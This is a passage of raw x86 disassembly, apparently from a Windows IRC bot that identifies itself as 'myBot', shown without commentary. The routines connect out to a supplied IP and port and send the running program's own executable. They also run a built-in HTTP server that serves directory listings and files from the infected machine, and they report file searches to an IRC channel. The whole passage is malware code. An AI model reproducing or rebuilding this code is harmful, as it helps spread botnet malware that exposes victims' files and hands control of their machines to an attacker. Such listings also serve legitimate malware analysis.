--------------------------------------------------------------------------- loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj push 1 pop eax loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j pop edi pop esi pop ebx leave retn 4 sub_40F3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4271D8 ; WSAStartup push 0 push 1 push 2 call ds:dword_427204 ; socket push [ebp+arg_0] mov dword_4CE71C, eax mov [ebp+var_10], 2 call ds:dword_4271F0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4271F4 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4CE71C call ds:dword_4271F8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE71C call ds:dword_427200 ; closesocket call ds:dword_4271D4 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: sub_40F9BF+60j push 1 pop eax leave retn sub_40F9BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp DstBuf = byte ptr -504h Filename = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+Filename] push 104h push eax push 0 call ds:dword_427078 ; GetModuleFileNameA lea eax, [ebp+Filename] push offset aRb ; "rb" push eax ; Filename call _fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: sub_40FA3C+78j push esi ; File push 1 ; Count lea eax, [ebp+DstBuf] push edi ; ElementSize push eax ; DstBuf call _fread add esp, 10h lea eax, [ebp+DstBuf] push 0 push edi push eax push dword_4CE71C call ds:dword_427208 ; send push 1 call ds:dword_427080 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj push esi ; File call _fclose pop ecx push dword_4CE71C call ds:dword_427200 ; closesocket call ds:dword_4271D4 ; WSACleanup push 1 pop eax loc_40FAD3: ; CODE XREF: sub_40FA3C+35j pop esi leave retn sub_40FA3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o Str = byte ptr -28F0h Str1 = byte ptr -18F0h Dest = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h Dst = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_14], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_25C] call dword_4CB9D4 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E91C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CB9FC ; listen cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA70 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9BC ; select cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+Str] push edi ; Size push 0 ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+Str] push 0 push edi push eax push esi call dword_4CB9EC ; recv test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h ; Size lea eax, [ebp+var_23C] push esi ; Val push eax ; Dst call _memset lea eax, [ebp+Str] mov [ebp+arg_0], esi push eax ; Str call _strlen add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+Str] cmp al, 0Ah mov [ebp+esi+Str1], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax ; Delim push eax ; SubStr lea eax, [ebp+Str1] push esi ; SubStr push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strstr pop ecx pop ecx push eax ; Str call _strtok push eax ; Source lea eax, [ebp+var_23C] push eax ; Dest call _strcpy add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+Str1] push offset asc_4349EC ; "\r\n" push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi ; Size lea eax, [ebp+Str1] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+Str] push eax ; Str inc esi call _strlen cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax ; Str call _strlen mov edi, eax lea eax, [ebp+var_23C] push eax ; Str call _strlen add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C ; closesocket loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_4349C4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_250] ; int push eax ; int lea eax, [ebp+var_5E8] push eax ; Str push [ebp+var_5EC] ; int call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push [ebp+var_254] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do Str = byte ptr -1654h Source = byte ptr -654h Dest = byte ptr -550h var_44C = dword ptr -44Ch Format = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_2C4] pop ecx push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_427110 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_42710C ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+Str] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax ; Dest call _sprintf add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+Str] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44C] call dword_4CBA24 ; send cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+Dest] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+Source] push eax ; Source push edi ; int push [ebp+var_44C] ; int lea eax, [ebp+Dest] push eax ; Str call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C ; closesocket push [ebp+var_B4] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p Source = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h Str = byte ptr -314h var_211 = byte ptr -211h Dst = byte ptr -210h Dest = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst mov [ebp+var_4], edi call _memset mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_9 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_6 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] xor esi, esi xor ebx, ebx push eax ; Str call _strlen test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+Dest] push eax ; Str call _strlen cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+Dest], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+Dst], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+Dest] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+Dst], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+Dest] inc esi inc [ebp+arg_8] push eax ; Str inc ebx call _strlen cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push [ebp+arg_4] push offset aSS ; "%s%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] push offset asc_42A080 ; "\n" push eax ; Str call _strtok add esp, 18h lea eax, [ebp+Str] push eax call ds:dword_4270A0 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+Str] push offset asc_434C78 ; "*" push eax ; Dest call _strcat pop ecx lea eax, [ebp+Str] pop ecx push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Str call sub_410AAE add esp, 0Ch lea eax, [ebp+Dst] push eax ; Format lea eax, [ebp+var_53C] push eax ; Dest call _sprintf or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C ; closesocket jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4270F8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+Str] push eax ; Format lea eax, [ebp+var_640] push eax ; Dest call _sprintf pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:dword_427114 ; GetFileSize push esi mov [ebp+var_330], eax call ds:dword_427070 ; CloseHandle loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+Source] push esi push offset asc_434C44 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 call ds:dword_427080 ; Sleep jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C ; closesocket call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_434C0C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41036B(char *Str,int,int,char *Source) sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap Dst = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h Str1 = byte ptr -35Ch var_248 = byte ptr -248h Dest = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4], ebx mov [ebp+var_8], ebx call _memset mov edi, [ebp+Str] push offset asc_42A080 ; "\n" push edi ; Str call _strtok add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+Source], ebx push edi ; Str jz loc_4104AF call _strlen pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push edi ; Str call _strlen pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 18h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send cmp [ebp+Source], ebx jz short loc_410564 push [ebp+Source] ; Str call _strlen cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+Source] ; Str call _strlen sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+Source] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi call ds:dword_427124 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+Str], eax push ecx push eax call ds:dword_427120 ; FindNextFileA test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+Str1] push offset a__ ; ".." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+Str1] push offset a__0 ; "." push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_42711C ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_427118 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+Dest] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax ; Dest call _sprintf add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+Str1] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+Source], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS_4 ; "%s%s/" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Eh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+Str1] push eax push offset aS_2 ; "<%s>" lea eax, [ebp+var_490] push 106h ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Dest] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; 